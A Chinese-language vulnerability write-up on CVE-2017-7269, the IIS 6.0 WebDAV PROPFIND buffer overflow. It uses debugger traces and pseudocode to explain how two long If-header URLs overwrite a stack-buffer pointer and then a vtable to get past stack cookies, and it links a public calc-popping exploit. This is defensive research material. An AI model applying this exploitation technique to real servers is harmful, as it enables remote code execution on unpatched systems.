Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit

$
0
0
【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit

2017-03-30 10:37:03
来源:安全客 作者:安全客

阅读:44841次
点赞(0)
收藏






【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit


漏洞描述

漏洞编号:CVE-2017-7269

发现人员:Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)

漏洞简述:开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对 windows Server 2003 R2 可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。

漏洞类型:缓冲区溢出

漏洞等级:高危

影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)

触发函数:ScStoragePathFromUrl函数

附加信息:ScStoragePathFromUrl函数被调用了两次

漏洞细节:在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞,攻击者通过一个以“If: <http://”开始的较长header头的PROPFIND请求执行任意代码。


漏洞分析(漏洞分析转载自:http://whereisk0shl.top/cve-2017-7269-iis6-interesting-exploit.html)

CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。

目前在github上有一个在windows server 2003 r2上稳定利用的exploit,这个exp目前执行的功能是弹计算器,使用的shellcode方法是alpha shellcode,这是由于url在内存中以宽字节形式存放,以及其中包含的一些badchar,导致无法直接使用shellcode执行代码,而需要先以alpha shellcode的方法,以ascii码形式以宽字节写入内存,然后再通过一小段解密之后执行代码。

github地址:https://github.com/edwardz246003/IIS_exploit

这个漏洞其实原理非常简单,但是其利用方法却非常有趣,我在入门的时候调试过很多stack overflow及其exp,但多数都是通过覆盖ret,覆盖seh等方法完成的攻击,直到我见到了这个exploit,感觉非常艺术。但这个漏洞也存在其局限性,比如对于aslr来说似乎没有利用面,因此在高版本windows server中利用似乎非常困难,windows server 2003 r2没有aslr保护。

在这篇文章中,我将首先简单介绍一下这个漏洞的利用情况;接着,我将和大家一起分析一下这个漏洞的形成原因;然后我将给大家详细介绍这个漏洞的利用,最后我将简要分析一下这个漏洞的rop及shellcode。

我是一只菜鸟,如有不当之处,还望大家多多指正,感谢阅读!


弹弹弹--一言不合就“弹”计算器

漏洞环境搭建

漏洞环境的搭建非常简单,我的环境是windows server 2003 r2 32位英文企业版,安装之后需要进入系统配置一下iis6.0,首先在登陆windows之后,选择配置服务器,安装iis6.0服务,之后进入iis6.0管理器,在管理器中,有一个windows扩展,在扩展中有一个webdav选项,默认是进入用状态,在左侧选择allow,开启webdav,之后再iis管理器中默认网页中创建一个虚拟目录(其实这一步无所谓),随后选择run->services.msc->WebClient服务,将其开启,这样完成了我的配置。

触发漏洞

漏洞触发非常简单,直接在本地执行python exp.py即可,这里为了观察过程,我修改了exp,将其改成远程,我们通过wireshark抓包,可以看到和目标机的交互行为。


【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit

可以看到,攻击主机向目标机发送了一个PROPFIND数据包,这个是负责webdav处理的一个指令,其中包含了我们的攻击数据,一个<>包含了两个超长的httpurl请求,其中在两个http url中间还有一个lock token的指令内容。

随后我们可以看到,在靶机执行了calc,其进程创建在w2wp进程下,用户组是NETWORK SERVICE。


【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit

我在最开始的时候以为这个calc是由于SW_HIDE的参数设置导致在后台运行,后来发现其实是由于webdav服务进程本身就是无窗口的,导致calc即使定义了SW_SHOWNORMAL,也只是在后台启动了。

事实上,这个漏洞及时没有后面的<>中的http url,单靠一个IF:<>也能够触发,而之所以加入了第二个<>以及lock token,是因为作者想利用第一次和第二次http请求来完成一次精妙的利用,最后在指令下完成最后一击。

我尝试去掉第二次<>以及请求,同样能引发iis服务的crash。


【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit

CVE-2017-7269漏洞分析

这个漏洞的成因是在WebDav服务动态链接库的httpext.dll的ScStorageFromUrl函数中,这里为了方便,我们直接来跟踪分析该函数,在下一小节内容,我将和大家来看看整个精妙利用的过程。我将先动态分析整个过程,然后贴出这个存在漏洞函数的伪代码。

在ScStorageFromUrl函数中,首先会调用ScStripAndCheckHttpPrefix函数,这个函数主要是获取头部信息进行检查以及对host name进行检查。

0:009>p//调用CchUrlPrefixW获取url头部信息 eax=67113bc8ebx=00fffbe8ecx=00605740edx=00fff4f8esi=0060c648edi=00605740 eip=671335f3esp=00fff4b4ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStripAndCheckHttpPrefix+0x1e: 671335f3ff5024calldwordptr[eax+24h]ds:0023:67113bec={httpext!CEcbBaseImpl<IEcb>::CchUrlPrefixW(6712c72a)} 0:009>p eax=00000007ebx=00fffbe8ecx=00fff4ccedx=00fff4f8esi=0060c648edi=00605740 eip=671335f6esp=00fff4b8ebp=00fff4d0iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStripAndCheckHttpPrefix+0x21: 671335f68bd8movebx,eax 0:009>dcesil6//esi存放头部信息,以及servername,这个localhost会在后面获取到。 0060c6480074006800700074002f003a006c002fh.t.t.p.:././.l. 0060c6580063006f006c0061o.c.a.l.

在check完http头部和hostname之后,会调用wlen函数获取当前http url长度。

0:009>p eax=0060e7d0ebx=0060b508ecx=006058a8edx=0060e7d0esi=00605740edi=00000000 eip=67126ce8esp=00fff330ebp=00fff798iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStoragePathFromUrl+0x6d: 67126ce850pusheax 0:009>p eax=0060e7d0ebx=0060b508ecx=006058a8edx=0060e7d0esi=00605740edi=00000000 eip=67126ce9esp=00fff32cebp=00fff798iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStoragePathFromUrl+0x6e: 67126ce9ff1550121167calldwordptr[httpext!_imp__wcslen(67111250)]ds:0023:67111250={msvcrt!wcslen(77bd8ef2)} 0:009>reax eax=0060e7d0 0:009>dceax 0060e7d00062002f006200620062006200620062/.b.b.b.b.b.b.b. 0060e7e0617579486f674f4348456b6f67753646HyuaCOgookEHF6ug 0060e7f0387144335a625765566154356a5369523Dq8eWbZ5TaVRiSj 0060e800384e5157635559484364497134686472WQN8HYUcqIdCrdh4 0060e810717947586b55336b504f6d4834717a46XGyqk3UkHmOPFzq4 0060e82074436f546f6f5956345773417a726168ToCtVYooAsW4harz 0060e8304d4937455448574e367a4c3862663572E7IMNWHT8Lz6r5fb 0060e840486d6e436177354861744d5a43654133CnmHH5waZMta3AeC 0:009>p eax=000002fdebx=0060b508ecx=00600000edx=0060e7d0esi=00605740edi=00000000 eip=67126cefesp=00fff32cebp=00fff798iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl+0x74: 67126cef59popecx 0:009>reax eax=000002fd

在利用的关键一次,我们获取的是poc中http://localhost/bbbbb的字符串,这个字符串长度很长,可以看到eax寄存器存放的是url长度,长度是0x2fd,随后会进入一系列的判断,主要是检查url中一些特殊字符,比如0x2f。

0:009>g//eax存放的是指向url的指针,这里会获取指针的第一个字符,然后和“/”作比较 Breakpoint1hit eax=0060e7d0ebx=0060b508ecx=006058a8edx=0060e7d0esi=00605740edi=00000000 eip=67126cd7esp=00fff334ebp=00fff798iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStoragePathFromUrl+0x5c: 67126cd76683382fcmpwordptr[eax],2Fhds:0023:0060e7d0=002f 0:009>dceax 0060e7d00062002f006200620062006200620062/.b.b.b.b.b.b.b. 0060e7e0617579486f674f4348456b6f67753646HyuaCOgookEHF6ug

经过一系列的检查之后,会进入一系列的memcpy函数,主要就是用来构造虚拟文件路径,这个地方拷贝的长度没有进行控制,而拷贝的目标地址,是在外层函数调用stackbuff申请的地址,这个地址会保存在栈里。在ScStorageFromUrl函数中用到,也就是在memcpy函数中用到,作为目的拷贝的地址。

ScStorageFromUrl函数中实际上在整个漏洞触发过程中会调用很多次,我们跟踪的这一次,是在漏洞利用中的一个关键环节之一。首先我们来看一下第一次有效的memcpy

0:009>p eax=00000024ebx=000002fdecx=00000009edx=00000024esi=00000012edi=680312c0 eip=67126fa9esp=00fff330ebp=00fff798iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206 httpext!ScStoragePathFromUrl+0x32e: 67126fa98db5c4fbffffleaesi,[ebp-43Ch] 0:009>p eax=00000024ebx=000002fdecx=00000009edx=00000024esi=00fff35cedi=680312c0 eip=67126fafesp=00fff330ebp=00fff798iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206 httpext!ScStoragePathFromUrl+0x334: 67126faff3a5repmovsdwordptres:[edi],dwordptr[esi] 0:009>resi esi=00fff35c 0:009>dcesi 00fff35c003a00630069005c0065006e00700074c.:.\.i.n.e.t.p. 00fff36c006200750077005c00770077006f0072u.b.\.w.w.w.r.o. 00fff37c0074006f0062005c0062006200620062o.t.\.b.b.b.b.b. 00fff38c00620062617579486f674f4348456b6fb.b.HyuaCOgookEH

这次memcpy拷贝过程中,会将esi寄存器中的值拷贝到edi寄存器中,可以看到edi寄存器的值是0x680312c0,这个值很有意思,在之前我提到过,这个buffer的值会在外层函数中申请,并存放在栈中,因此正常情况应该是向一个栈地址拷贝,而这次为什么会向一个堆地址拷贝呢?

这是个悬念,也是我觉得这个利用巧妙的地方,下面我们先进入后面的分析,在memcpy中,也就是rep movs中ecx的值决定了memcpy的长度,第一次拷贝的长度是0x9。

接下来,回进入第二次拷贝,这次拷贝的长度就比较长了。

0:009>p//长度相减,0x2fd-0x0 eax=00000024ebx=000002fdecx=00000000edx=00000000esi=0060e7d0edi=680312e4 eip=67126fc4esp=00fff330ebp=00fff798iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStoragePathFromUrl+0x349: 67126fc42bdasubebx,edx 0:009>rebx ebx=000002fd 0:009>redx edx=00000000 0:009>p eax=00000024ebx=000002fdecx=00000000edx=00000000esi=0060e7d0edi=680312e4 eip=67126fc6esp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl+0x34b: 67126fc68d3456leaesi,[esi+edx*2] 0:009>p eax=00000024ebx=000002fdecx=00000000edx=00000000esi=0060e7d0edi=680312e4 eip=67126fc9esp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl+0x34e: 67126fc98b95b0fbffffmovedx,dwordptr[ebp-450h]ss:0023:00fff348=680312c0 0:009>p eax=00000024ebx=000002fdecx=00000000edx=680312c0esi=0060e7d0edi=680312e4 eip=67126fcfesp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl+0x354: 67126fcf8d3c10leaedi,[eax+edx] 0:009>p//ecx的值为dword值 eax=00000024ebx=000002fdecx=00000000edx=680312c0esi=0060e7d0edi=680312e4 eip=67126fd2esp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl+0x357: 67126fd28d4c1b02leaecx,[ebx+ebx+2] 0:009>p eax=00000024ebx=000002fdecx=000005fcedx=680312c0esi=0060e7d0edi=680312e4 eip=67126fd6esp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl+0x35b: 67126fd68bc1moveax,ecx 0:009>p//最后拷贝的长度再除以4 eax=000005fcebx=000002fdecx=000005fcedx=680312c0esi=0060e7d0edi=680312e4 eip=67126fd8esp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl+0x35d: 67126fd8c1e902shrecx,2 0:009>p//这次拷贝17f的值key!!!看ecx eax=000005fcebx=000002fdecx=0000017fedx=680312c0esi=0060e7d0edi=680312e4 eip=67126fdbesp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl+0x360: 67126fdbf3a5repmovsdwordptres:[edi],dwordptr[esi]

可以看到,这次拷贝的长度是0x17f,长度非常大,而在整个分析的过程中,并没有对拷贝的长度进行控制,因此,可以拷贝任意超长的字符串,进入这个堆空间。

这个堆空间非常有意思,存放的是一个vftable,这个vftable会在ScStorageFromUrl函数中的某个内层函数调用调用到,还记得之前分析的ScStripAndCheckHttpPrefi函数吗。

0:009>p//正常情况ScStripAndCheckHttpPrefix函数中对vftable的获取 eax=00fff9a4ebx=00fffbe8ecx=00605740edx=00fff4f8esi=0060c648edi=00605740 eip=671335e8esp=00fff4b8ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStripAndCheckHttpPrefix+0x13: 671335e88b07moveax,dwordptr[edi]ds:0023:00605740={httpext!CEcb::`vftable'(67113bc8)}

获取完虚表之后,会获取到对应的虚函数,在ScStripAndCheckHttpPrefix函数中call调用到。但是由于之前的memcpy覆盖,导致这个vftable被覆盖。

0:009>p eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=671335f0esp=00fff4b4ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStripAndCheckHttpPrefix+0x1b: 671335f08955f4movdwordptr[ebp-0Ch],edxss:0023:00fff4c4=00000000 0:009>p//eax是vftable,而call[eax+24]调用虚函数,这里由于之前的覆盖,导致跳转到可控位置 eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=671335f3esp=00fff4b4ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStripAndCheckHttpPrefix+0x1e: 671335f3ff5024calldwordptr[eax+24h]ds:0023:680313e4=68016082 0:009>dceax 680313c0680313c068006e4f68006e4f766a4247...hOn.hOn.hGBjv 680313d0680313c04f744257523459474b424b66...hWBtOGY4RfKBK

这个漏洞的原理非常简单,在PROPFIND中,由于对http的长度没有进行检查,导致在memcpy中,可以拷贝超长的字符串,覆盖到栈中的关键位置,下面来看一下伪代码。

__int32__fastcallScStoragePathFromUrl(conststructIEcb*a1,wchar_t*a2,unsigned__int16*a3,unsignedint*a4,structCVRoot**a5) { v35=a3; v5=a1; Str=a2; v37=(int)a1; v34=a4; v33=a5; result=ScStripAndCheckHttpPrefix(a1,(constunsigned__int16**)&Str);//主要用来检查开头信息,比如http头以及host等等 if(result<0) returnresult; if(*Str!=47)//判断第一个值是不是/ return-2146107135; v7=_wcslen(Str);//获取str长度,也就是畸形url长度 result=IEcbBase::ScReqMapUrlToPathEx(Str,WideCharStr); v36=result; if(result<0) returnresult; v8=(*(int(__thiscall**)(conststructIEcb*,wchar_t**))(*(_DWORD*)v5+52))(v5,&Str1);//httpext!CEcbBaseImpl<IEcb>::CchGetVirtualRootW(6712d665)获取虚拟路径 if(v8==v42) { if(!v8||Str[v8-1]&&!__wcsnicmp(Str1,Str,v8)) gotoLABEL_14; } elseif(v8+1==v42) { v9=Str[v8]; if(v9==47||!v9) { --v42; gotoLABEL_14; } } v36=1378295; LABEL_14: if(v36==1378295&&a5) { …… } v16=v41; if(v41) { v17=(constunsigned__int16*)((char*)&v39+2*v41+2); if(*v17==92) { while(v16&&*v17==92&&!FIsDriveTrailingChar(v17,v16)) { v41=--v16; --v17; } } elseif(!*v17) { v16=v41---1; } } v18=v16-v42+v7+1; v19=*v34<v18; v37=v16-v42+v7+1; if(v19) { …… } else//进入这一处else处理 { v21=v35; v22=v16; v23=2*v16; v24=(unsignedint)(2*v16)>>2; qmemcpy(v35,WideCharStr,4*v24);//拷贝虚拟路径 v26=&WideCharStr[2*v24]; v25=&v21[2*v24]; LOBYTE(v24)=v23; v27=v42; qmemcpy(v25,v26,v24&3); v28=v7-v27;//这里v7是0x2fd,相减赋值给v28,这个值很大,v27为0 v29=&Str[v27]; v30=v35; qmemcpy(&v35[v22],v29,2*v28+2);//直接拷贝到栈中,没有对长度进行检查,导致溢出 for(i=&v30[v41];*i;++i) { if(*i==47) *i=92; } *v34=v37; result=v36; } returnresult; }

CVE-2017-7269 Exploit!精妙的漏洞利用

其实通过上面的分析,我们发现这个漏洞的 原理非常简单,但是究竟如何利用呢,我们来看一下关于ScStorageFromUrl函数中,包含了GS check,也就是说,我们在进行常规的覆盖ret方式利用的情况下,将会把cookie也会覆盖,导致利用失败。

.text:67127017loc_67127017:;CODEXREF:ScStoragePathFromUrl(IEcbconst&,ushortconst*,ushort*,uint*,CVRoot**)+50j .text:67127017;ScStoragePathFromUrl(IEcbconst&,ushortconst*,ushort*,uint*,CVRoot**)+67j .text:67127017movecx,[ebp+var_C] .text:6712701Apopedi .text:6712701Bmovlargefs:0,ecx .text:67127022movecx,[ebp+var_10] .text:67127025popesi .text:67127026call@__security_check_cookie@4;__security_check_cookie(x) .text:6712702Bleave .text:6712702Cretn0Ch

漏洞利用非常精妙,也就是用这种方法,巧妙的绕过了gs的检查,最后达到漏洞利用,稳定的代码执行,首先,WebDav对数据包的处理逻辑是在DAVxxx函数中完成的。比如当前数据包是PROPFIND,那么当前的函数处理逻辑就是DAVpropfind函数。

0:009>kb ChildEBPRetAddrArgstoChild 00fff79867119469680312c000fff80000000000httpext!ScStoragePathFromUrl 00fff7ac6712544a0060e7b0680312c000fff800httpext!CMethUtil::ScStoragePathFromUrl+0x18 00fffc346712561e0060b5080060584e00fffc78httpext!HrCheckIfHeader+0x124 00fffc446711f6590060b5080060584e00000001httpext!HrCheckStateHeaders+0x10 00fffc786711f7c50060c01000fffcd4671404e2httpext!CPropFindRequest::Execute+0xf0 00fffc90671296f20060c0100000000401017af8httpext!DAVPropFind+0x47

在内层的函数处理逻辑中,有一处关键的函数处理逻辑HrCheckIfHeader,主要负责DAVPropFind函数对头部的check,这个函数处理逻辑中有一处while循环,我已经把这个循环的关键位置的注释写在伪代码中。

__int32__stdcallHrCheckIfHeader(structCMethUtil*a1,constunsigned__int16*a2) while(2) { v6=IFITER::PszNextToken(&v20,0); v7=v6; if(v6)//这里获取下一个url值,第一轮会进入这里,第二轮也会,第三轮就进不去了 { CStackBuffer<unsignedshort,260>::CStackBuffer<unsignedshort,260>(260); v9=(constwchar_t*)(v7+2); LOBYTE(v34)=2; v27=_wcslen(v9); if(!CStackBuffer<unsignedshort,260>::resize(2*v27+2)) gotoLABEL_35; v5=ScCanonicalizePrefixedURL(v9,v32,&v27); if(v5) gotoLABEL_43; v27=v29>>3; v5=CMethUtil::ScStoragePathFromUrl(a1,v32,Str,&v27); if(v5==1) { if(!CStackBuffer<unsignedshort,260>::resize(v27)) { LABEL_35: LOBYTE(v34)=1; CStackBuffer<char,260>::release(&v31); v5=-2147024882; gotoLABEL_39; } v5=CMethUtil::ScStoragePathFromUrl(a1,v32,Str,&v27); } if(v5<0) { LABEL_43: LOBYTE(v34)=1; CStackBuffer<char,260>::release(&v31); gotoLABEL_39; } v10=_wcslen(Str); v27=v10; v11=&Str[v10-1]; if(*v11==62) *v11=0; v8=Str; LOBYTE(v34)=1; CStackBuffer<char,260>::release(&v31); } else { if(!v25)//进不去就跳入这里,直接break掉,随后进入locktoken,会调用sc函数 gotoLABEL_38; v8=(constunsigned__int16*)v24; } v25=0; for(i=(wchar_t*)IFITER::PszNextToken(&v20,2);;i=(wchar_t*)IFITER::PszNextToken(&v20,v19)) { v17=i; if(!i) break; v12=*i; if(*v17==60) { v13=HrValidTokenExpression((int)a1,v17,(int)v8,0); } elseif(v12==91) { if(!FGetLastModTime(0,v8,(struct_FILETIME*)&v23) ||!FETagFromFiletime((int)&v23,&String,*((_DWORD*)a1+4))) { LABEL_26: if(v22) gotoLABEL_27; gotoLABEL_30; } v14=v17+1; if(*v14==87) v14+=2; v15=_wcslen(&String); v13=_wcsncmp(&String,v14,v15); } else { v13=-2147467259; } if(v13) gotoLABEL_26; if(!v22)//如果不等于22,则v26为1continue,这里v22为0 { LABEL_27: v26=1; v19=3; continue; } LABEL_30: v26=0; v19=4; } v2=0; if(v26)//这里进这里 { v6=IFITER::PszNextToken(&v20,1);//获得下一个url部分,第一次处理完,由于后面还有url,所以这里v6会有值,而第二次,这里后面没有值了 continue; } break; }

如果看的比较迷糊,可以看我下面的描述,首先这个while函数中,有一个非常有意思的函数PszNextToken,这个函数会连续获取<>中的http url,直到后面没有http url,则跳出循环,这也是这个漏洞利用的关键条件。

首先,第一次会处理IF后面的第一个http url,这个url就是http://localhost/aaaa..,这个处理过程,实际上就完成了第一次溢出,首先stackbuffer会通过CStackBuffer函数获取,获取到之后,这个值会存放在stack中的一个位置。接下来会进行第一次ScStorageFromUrl,这个地方会对第一个<>中的http url处理。长度是0xa7。

0:009>p eax=00fff910ebx=0060b508ecx=00000410edx=00000000esi=0060c64aedi=77bd8ef2 eip=671253e2esp=00fff7bcebp=00fffc34iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!HrCheckIfHeader+0xbc: 671253e2ffd7calledi{msvcrt!wcslen(77bd8ef2)}//第一次处理aaaa部分,长度只有a7 0:009>dc60c64a 0060c64a0074006800700074002f003a006c002fh.t.t.p.:././.l. 0060c65a0063006f006c0061006f006800740073o.c.a.l.h.o.s.t. 0060c66a0061002f006100610061006100610061/.a.a.a.a.a.a.a. 0060c67a78636f6871337761477269364b777a39hocxaw3q6irG9zwK 0:009>p eax=000000a7

这个a7长度很小,不会覆盖到gs,因此可以通过security check,但是这个a7却是一个溢出,它超过了stack buffer的长度,会覆盖到stack中关于stack buffer指针的存放位置。这个位置保存在ebp-328的位置。

0:009>p eax=00fff800ebx=0060b508ecx=0060b508edx=00000104esi=00000001edi=77bd8ef2 eip=67125479esp=00fff7b8ebp=00fffc34iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!HrCheckIfHeader+0x153: 67125479ffb5e4fdffffpushdwordptr[ebp-21Ch]ss:0023:00fffa18=0060c828 0:009>p eax=00fff800ebx=0060b508ecx=0060b508edx=00000104esi=00000001edi=77bd8ef2 eip=6712547fesp=00fff7b4ebp=00fffc34iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!HrCheckIfHeader+0x159: 6712547fe8cd3fffffcallhttpext!CMethUtil::ScStoragePathFromUrl(67119451) 0:009>ddebp-328//注意拷贝的地址,这个90c是scstoragepathfromurl要拷贝的栈地址 00fff90c00fff8046711205b0000001300fff9c0 00fff91c671287e700000000000000f000000013

可以看到,第一次ScStoragePathFromUrl的时候,拷贝的地址是一个栈地址,通过stackbuffer申请到的,但是由于memcpy引发的栈溢出,导致这个地方值会被覆盖。

0:009>g//执行结束ScStoragePathFromUrl函数执行返回后 Breakpoint0hit eax=00fff800ebx=0060b508ecx=00605740edx=0060c828esi=00000001edi=77bd8ef2 eip=67126c7besp=00fff79cebp=00fff7aciopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl: 67126c7bb8150d1467moveax,offsethttpext!swscanf+0x14b5(67140d15) 0:009>g Breakpoint3hit eax=00000000ebx=0060b508ecx=00002f06edx=00fff804esi=00000001edi=77bd8ef2 eip=67125484esp=00fff7c0ebp=00fffc34iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!HrCheckIfHeader+0x15e: 671254848bf0movesi,eax 0:009>dcfff804//第一次memcpy之后,覆盖到了90c的位置 00fff804003a00630069005c0065006e00700074c.:.\.i.n.e.t.p. 00fff814006200750077005c00770077006f0072u.b.\.w.w.w.r.o. 00fff8240074006f0061005c0061006100610061o.t.\.a.a.a.a.a. 00fff8340061006178636f687133776147726936a.a.hocxaw3q6irG 00fff8444b777a3975534f7048687a4f6d5456639zwKpOSuOzhHcVTm 00fff854395368455567506c3364676378454630EhS9lPgUcgd30FEx 00fff864543169526a514c584231724158507035Ri1TXLQjAr1B5pPX 00fff8746c473664546a35395443503450617752d6Gl95jT4PCTRwaP 0:009>ddfff900 00fff9005a3062725448593802020202680312c0

经过这次stack buffer overflow,这个值已经被覆盖,覆盖成了一个堆地址0x680312c0。接下来进入第二次调用。

0:009>p eax=00fff910ebx=0060b508ecx=00000410edx=00000000esi=0060d32aedi=77bd8ef2 eip=671253e2esp=00fff7bcebp=00fffc34iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!HrCheckIfHeader+0xbc: 671253e2ffd7calledi{msvcrt!wcslen(77bd8ef2)} 0:009>dc60d32a 0060d32a0074006800700074002f003a006c002fh.t.t.p.:././.l. 0060d33a0063006f006c0061006f006800740073o.c.a.l.h.o.s.t. 0060d34a0062002f006200620062006200620062/.b.b.b.b.b.b.b. 0:009>p eax=0000030d

第二次获得http://localhost/bbbbb...的长度,这个长度有0x30d,非常长,但是对应保存的位置变了。

0:009>p eax=00fff800ebx=0060b508ecx=00fff800edx=000002feesi=00000000edi=77bd8ef2 eip=67125436esp=00fff7c0ebp=00fffc34iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!HrCheckIfHeader+0x110: 6712543650pusheax 0:009>p eax=00fff800ebx=0060b508ecx=00fff800edx=000002feesi=00000000edi=77bd8ef2 eip=67125437esp=00fff7bcebp=00fffc34iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!HrCheckIfHeader+0x111: 67125437ffb5d8fcffffpushdwordptr[ebp-328h]ss:0023:00fff90c=680312c0 0:009>dcebp-328 00fff90c680312c052566c446c6d4b37585a4f58...hDlVR7KmlXOZX 00fff91c496a79504a52584f664d4150680313c0PyjIOXRJPAMf...h 00fff92c653148346e666f43436c7441680313c04H1eCofnAtlC...h 00fff93c6a41534333307052424c58666346704bCSAjRp03fXLBKpFc 0:009>dd680312c0//要用到的堆地址,这个地址会在最后用到 680312c000000000000000000000000000000000 680312d000000000000000000000000000000000 680312e000000000000000000000000000000000

可以看到,第二次利用的时候,会把ebp-328这个地方的值推入栈中,这个地方应该是stack buffer的地址,应该是个栈地址,但是现在变成了堆地址,就是由于第一次栈溢出,覆盖了这个变量。

而这个值,会作为参数传入ScStorageFromUrl函数,作为memcpy拷贝的值。

这也就解释了为什么我们在上面分析漏洞的时候,会是向堆地址拷贝,而这一次拷贝,就不需要控制长度了,因为这个地方的值已经是堆地址,再怎么覆盖,也不会覆盖到cookie。这里未来要覆盖IEcb虚表结构。从而达到漏洞利用。这样,第二次向堆地址拷贝之后,这个堆地址会覆盖到IEcb的虚表,这个虚表结构会在最后利用时引用到。

在PoC中,有一处,这个会触发漏洞利用,是在CheckIfHeader之后到达位置,在CheckIfHeader的PszToken函数判断没有<>的http url之后,break掉,之后进入lock token处理。

0:009>p eax=67140d15ebx=00fffbe8ecx=680313c0edx=0060e7b0esi=00fffc28edi=00000104 eip=67126c80esp=00fff940ebp=00fff950iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206 httpext!ScStoragePathFromUrl+0x5: 67126c80e803100000callhttpext!_EH_prolog(67127c88) 0:009>kb ChildEBPRetAddrArgstoChild 00fff93c6711946900fffab400fff9a400000000httpext!ScStoragePathFromUrl+0x5 00fff950671257400060e7b000fffab400fff9a4httpext!CMethUtil::ScStoragePathFromUrl+0x18 00fffbd0664d4150680313c0653148346e666f43httpext!CParseLockTokenHeader::HrGetLockIdForPath +0x119 WARNING:FrameIPnotinanyknownmodule.Followingframesmaybewrong. 00fffc3c6711f68e0060b5080060584e800000000x664d4150 00fffc786711f7c50060c01000fffcd4671404e2httpext!CPropFindRequest::Execute+0x125

这时候对应的IEcb已经被覆盖,这样,在进入ScStoragePathFromUrl函数之后,会进入我们在漏洞分析部分提到的CheckPrefixUrl函数,这个函数中有大量的IEcb虚表虚函数引用。

0:009>p eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=671335f3esp=00fff4b4ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStripAndCheckHttpPrefix+0x1e: 671335f3ff5024calldwordptr[eax+24h]ds:0023:680313e4=68016082 0:009>dceax 680313c0680313c068006e4f68006e4f766a4247...hOn.hOn.hGBjv 680313d0680313c04f744257523459474b424b66...hWBtOGY4RfKBK

